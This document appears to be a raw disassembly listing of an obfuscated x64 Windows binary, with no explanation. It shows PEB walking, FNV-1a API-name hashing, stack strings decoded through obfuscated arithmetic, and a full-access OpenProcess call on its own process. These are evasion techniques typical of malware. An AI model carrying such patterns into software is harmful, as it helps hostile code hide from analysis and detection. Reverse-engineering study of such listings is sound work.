je 0x1401fd9d1
cmp qword [rdi + 0x30], rax
jne 0x1401fd89d
mov rdx, rax
mov qword [0x14044bbb8], rdx
mov rcx, qword [0x14044b478]
call rdx
mov rdx, qword [0x14044bbb8]
xor eax, eax
test rdx, rdx
jne 0x1401fdb50
mov esi, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fda5f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fda51
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fda40
cmp r8d, esi
jne 0x1401fdb32
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401fdb32
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fdb32
mov r11d, dword [r10 + 0x20]
mov r13d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fdab9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401fdaae
cmp edx, r12d
je 0x1401fdacf
test r9d, r9d
jne 0x1401fda99
jmp 0x1401fdb32
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401fdb49
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401fdb49
mov eax, 0x811c9dc5
mov esi, eax
mov r12d, eax
jmp 0x1401fdb11
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fdb03
jmp 0x1401fdb26
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401fdb19
mov rdi, qword [r14]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r14
je 0x1401fdb46
cmp qword [rdi + 0x30], rax
jne 0x1401fda0f
mov rdx, rax
mov qword [0x14044bbb8], rdx
mov rcx, qword [0x14044b480]
call rdx
mov rcx, qword [0x14044b478]
call fcn.14025e2b0
mov rcx, qword [0x14044b480]
call fcn.14025e2b0
mov rcx, qword [0x14044b478]
call fcn.14025c9b0
mov rcx, qword [0x14044b480]
call fcn.14025c9b0
mov r15d, 1
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ca0]
call fcn.14026a60a
mov byte [rbp + 0x640], 0xab
mov byte [rbp + 0x641], 0xa3
mov byte [rbp + 0x642], 0x80
mov byte [rbp + 0x643], 0x9a
mov byte [rbp + 0x644], 0xf5
mov byte [rbp + 0x645], 0xf3
mov byte [rbp + 0x646], Ordinal_143
mov byte [rbp + 0x647], 0xfe
mov byte [rbp + 0x648], 0xf7
mov byte [rbp + 0x649], 0xf0
mov byte [rbp + 0x64a], 0x88
mov byte [rbp + 0x64b], __WSAFDIsSet
mov byte [rbp + 0x64c], 0xed
mov byte [rbp + 0x64d], 0xf4
mov byte [rbp + 0x64e], 0xf4
mov byte [rbp + 0x64f], 0xfc
mov byte [rbp + 0x650], 0x85
mov byte [rbp + 0x651], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x652], 0xca
mov byte [rbp + 0x653], 0xf7
mov byte [rbp + 0x654], 0xde
mov byte [rbp + 0x655], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x656], 0x87
mov byte [rbp + 0x657], 0x85
mov byte [rbp + 0x658], 0xf5
mov byte [rbp + 0x659], 0x83
mov byte [rbp + 0x65a], 0x81
mov byte [rbp + 0x65b], 0xff
mov byte [rbp + 0x65c], Ordinal_217
mov byte [rbp + 0x65d], Ordinal_143
mov byte [rbp + 0x65e], 0xf7
mov byte [rbp + 0x65f], Ordinal_211
mov byte [rbp + 0x660], 0x9d
mov byte [rbp + 0x661], 0xea
mov byte [rbp + 0x662], 0x9a
mov byte [rbp + 0x663], 0xef
mov byte [rbp + 0x664], Ordinal_211
mov byte [rbp + 0x665], 0x9c
mov byte [rbp + 0x666], 0x87
mov byte [rbp + 0x667], __WSAFDIsSet
mov byte [rbp + 0x668], reloc.WS2_32.dll_ntohl
xor eax, eax
mov dword [rbp + 0x669], eax
mov word [rbp + 0x66d], ax
mov byte [rbp + 0x66f], al
movabs rsi, 0x8469be116195eb1
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401fe80f
movzx r8d, byte [rbp + r9 + 0x640]
mov rdx, r8
cmp rdi, r9
ja 0x1401fe806
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401fdd3b
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x29
jmp 0x1401fdd68
je 0x1401fe785
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fe700
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fe6d3
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401fe688
cmp r10, r9
ja 0x1401fe7fd
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x1401fdd9b
movabs rdx, 0xadcac976d014c485
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x5d
jmp 0x1401fdfb2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fe63b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fe61b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fe5f8
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fe5da
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401fe2d1
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fe2b0
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401fe28d
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401fe267
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401fe246
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x1401fe223
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401fe1fd
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fe1dc
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x1401fe1b9
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401fe193
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401fdddc
mov rdi, rcx
lea r10, [rcx + 0x20]
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x1401fe7da
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x1401fe7b7
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x1401fdfdc
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x1401fdfb9
lea rax, [r10 + 0x64]
cmp rcx, rax
jb 0x1401fdf96
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x1401fe172
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x1401fe151
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1401fe130
lea rax, [r10 + 0x40]
cmp rcx, rax
jb 0x1401fe105
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x1401fdddc
lea rdi, [r10 + 6]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401fe0f1
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401fe0d0
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401fe0af
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401fe09b
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401fe078
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401fe057
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401fe043
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401fe020
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401fdfff
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401fdddc
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x7a]
jmp 0x1401fdddc
movabs rdx, 0x7e56a336ffc66a1b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x43
add bl, dl
jmp 0x1401fddcf
movabs rdx, 0x6dc96b74d393acb9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xf
add bl, dl
jmp 0x1401fdd68
movabs rdx, 0x5d3c33b2a760ef57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x61
add bl, dl
jmp 0x1401fdd0d
movabs rdx, 0x6e564bb680a62428
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x1401fe657
movabs rcx, 0x5dc913f4547366c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x1401fe67d
movabs rdx, 0x4d3bdc322840a964
mov ecx, Ordinal_35
jmp 0x1401fe276
movabs rdx, 0x3caea46ffc0dec02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xe
jmp 0x1401fe6a4
movabs rcx, 0x2c216cadcfdb2ea0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401fe6ce
movabs rdx, 0x1b9434eba3a8713e
mov ecx, Ordinal_41
jmp 0x1401fe20c
movabs rdx, 0xb06fd297775b3dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x1401fe5d3
movabs rdx, 0xfa79c5674b42f67a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x1401fe1d5
movabs rdx, 0xe9ec8da51f103918
mov ecx, Ordinal_46
jmp 0x1401fe1a2
movabs rcx, 0xc08b823fb0915fa3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
mov byte [rbp + r9 + 0x640], bl
jmp 0x1401fe7af
movabs rdx, 0xaffe4a7d845ea241
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x39
jmp 0x1401fe365
movabs rdx, 0x9f7112bb582be4df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
jmp 0x1401fe32d
movabs rdx, 0x8ee3daf92bf9277d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6b
jmp 0x1401fe2f1
movabs rdx, 0x12c0b8c8e07c9b1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe7a0
movabs rdx, 0x2338106b449ddbc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
add bl, dl
jmp 0x1401fe74e
movabs rdx, 0xf1a649448817205a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x1401fe5d3
movabs rdx, 0xe11911825be462f8
mov ecx, Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe6ee
movabs rcx, 0xd08bd9c02fb1a596
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x1a
jmp 0x1401fe6ce
movabs rdx, 0xbffea1fe037ee834
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401fe6a4
movabs rdx, 0xaf716a3bd74c2ad2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe680
movabs rcx, 0x9ee43279ab196d70
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1401fe67d
movabs rdx, 0x8e56fab77ee6b00e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x62
jmp 0x1401fe657
lea rax, [r10 + 0x2a]
cmp rdi, rax
jae 0x1401fe398
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x29
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x42
je 0x1401fe5af
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x1401fe44e
movabs rdx, 0xf8d324a2440b902d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
cmp rdi, 0x5a
jae 0x1401fe586
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x1401fe4fe
movabs rdx, 0xa69dee19142054b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0xa
jb 0x1401fe123
movabs rdx, 0x4c221baece1bba86
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x54]
jmp 0x1401fe659
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fe3c4
movabs rcx, 0x5b9592eda029890a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x1401fe7a0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fe3f1
movabs rdx, 0x7cb00271f88f03ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401fe5d3
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fe41e
movabs rdx, 0x9dca71f650f47e92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe6ce
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fe2f3
movabs rcx, 0xbee4e17aa959f956
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x1401fe680
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fe478
movabs rdx, 0x9605c64703e4d8f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
jmp 0x1401fe657
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fe4a4
movabs rcx, 0x19ed94269c710af1
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x69
jmp 0x1401fe67d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fe4ce
movabs rdx, 0x3b0803aaf4d685b5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0xd
jmp 0x1401fe6a4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fe32f
movabs rcx, 0x8dca1a75d1d4389f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x59
jmp 0x1401fe7a0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fe51b
movabs rdx, 0xb72b25db40531214
mov ecx, Ordinal_60
jmp 0x1401fe1a2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fe538
movabs rdx, 0xd845955f98b88cd8
mov ecx, ntohl
jmp 0x1401fe3dc
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fe555
movabs rdx, 0xe8d2cd21c4eb4a3a
mov ecx, gethostname
jmp 0x1401fe20c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401fe367
movabs rdx, 0x3b94e3eca1e8fd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401fe657
movabs rdx, 0x5caf5370fa4e77e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x640]
sub bl, al
sub bl, 0x58
add bl, r8b
jmp 0x1401fe6a4
movabs rdx, 0x6d3c8b332681354a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x640]
sub bl, 6
add bl, dl
jmp 0x1401fe71e
movabs rdx, 0x21a74fc60577f233
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x65
jmp 0x1401fe5d3
movabs rcx, 0x8ce041ad12776f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 9
jmp 0x1401fe6ce
movabs rcx, 0xdf7270bd54acfcab
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x53
jmp 0x1401fe680
movabs rdx, 0xbe580138fc4781e7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x51
add bl, dl
movabs rcx, 0x5468b78fe4351937
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x7f
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add r10, r15
sub r9, r15
jmp 0x1401fe7af
movabs rdx, 0x6b95ea6e1f49cefd
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x15
add bl, dl
movabs rdx, 0x64f5ef521067d699
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x2f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x640], cl
add rdi, r10
jmp 0x1401fe6ee
movabs rcx, 0x4a7b7ae9c6e45439
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x71
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401fe7af
mov r8, rdx
movabs rcx, 0x39ee43279ab196d7
add rcx, r9
and dl, cl
add dl, dl
mov bl, r8b
sub bl, dl
add bl, 0x1f
add bl, cl
movabs rcx, 0x758327143c9a93fb
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x23
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x640], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x7dc9c2f552b3f2ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401fe7a0
movabs rcx, 0x18d3d3a3424c1c13
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x7b
movzx eax, byte [rbp + r9 + 0x640]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401fdcfa
movabs rcx, 0x4caefbf07b2e31f5
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4d
jmp 0x1401fdcf5
movabs rcx, 0x3c21c42e4efb7493
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 5
jmp 0x1401fdce5
lea rdx, [rbp + 0x14ba52c]
jmp 0x1401fe816
lea rdx, [rbp + 0x12503dd]
jmp 0x1401fe816
lea rdx, [rbp + 0x640]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x1ca0]
call fcn.14009e820
nop
mov r8, qword [0x14044b498]
mov rdx, qword [0x14044b490]
sub r8, rdx
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1ca0]
call fcn.140266950
call fcn.1400409c0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x14044b450], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14044b448], rax
mov r13d, 0x31a98fee
cmp rax, 0xffffffffffffffff
jne 0x140201189
mov r12, qword [0x14044bb48]
xor eax, eax
test r12, r12
jne 0x1401fea0a
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fe912
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fe904
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fe8f3
cmp r8d, esi
jne 0x1401fe9e6
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401fe9e6
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401fe9e6
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fe966
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401fe95b
cmp edx, r14d
je 0x1401fe97c
test r9d, r9d
jne 0x1401fe946
jmp 0x1401fe9e6
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r11
jbe 0x1401fe9fd
lea rcx, [rax + r11]
cmp r12, rcx
jae 0x1401fe9fd
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x1401fe9d8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x1401fe9b3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x1401fe9cb
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fe9fa
cmp qword [rdi + 0x30], rax
jne 0x1401fe8c2
mov r12, rax
mov qword [0x14044bb48], r12
mov r15d, 1
mov byte [rbp + 0x420], Ordinal_143
mov byte [rbp + 0x421], Ordinal_200
mov byte [rbp + 0x422], 0x78
mov byte [rbp + 0x423], Ordinal_200
mov byte [rbp + 0x424], WSAGetLastError
mov byte [rbp + 0x425], 0xc1
mov byte [rbp + 0x426], WSAGetLastError
mov byte [rbp + 0x427], Ordinal_211
mov byte [rbp + 0x428], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x429], Ordinal_211
mov byte [rbp + 0x42a], 0x63
mov byte [rbp + 0x42b], 0xcb
mov byte [rbp + 0x42c], 0xca
mov byte [rbp + 0x42d], 0xc9
xor eax, eax
mov qword [rbp + 0x42e], rax
mov word [rbp + 0x436], ax
mov byte [rbp + 0x438], al
movabs rsi, 0x2b4df89b53ec8761
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x19
jae 0x1401ff63f
movzx r8d, byte [rbp + r9 + 0x420]
mov rdx, r8
cmp rdi, r9
ja 0x1401ff636
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401feae6
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x59
jmp 0x1401feb06
je 0x1401ff5b5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401ff585
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401ff560
cmp r10, r9
ja 0x1401ff62d
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x1401feb39
movabs rdx, 0x8d6564bde2671af5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4d
jmp 0x1401fed6a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401ff51b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401ff4f9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401ff4d7
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401ff44f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401ff430
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401ff093
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401ff06f
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401ff04d
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401ff02a
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401ff004
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x1401feff0
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401fefce
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fefa8
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401fef84
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401fef61
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401feb87
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x80]
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401ff60a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401ff5e7
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401fed94
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1401fed71
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401fed4e
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x1401fef40
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x1401fef1f
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x1401feefe
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401feed3
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401feb87
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401feeb0
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x1401fee8f
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401fee7b
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401fee58
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401fee35
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401fee14
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x1401fedee
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401fedcb
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401fedb7
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401feb87
lea rdi, [r10 + 9]
lea r10, [rdi + 2]
jmp 0x1401feb87
movabs rdx, 0x8355fc56916d81ab
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x53
add bl, dl
jmp 0x1401feb7a
movabs rdx, 0x2cba0b1fe99472e9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5f
add bl, dl
jmp 0x1401feb06
movabs rdx, 0xd61e19e941bb6427
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x11
add bl, dl
jmp 0x1401feab8
movabs rdx, 0x6b2b25ef1338d7a8
mov ecx, 0x34
jmp 0x1401ff07e
movabs rcx, 0x148f34b86b5fc8e6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x1401ff57d
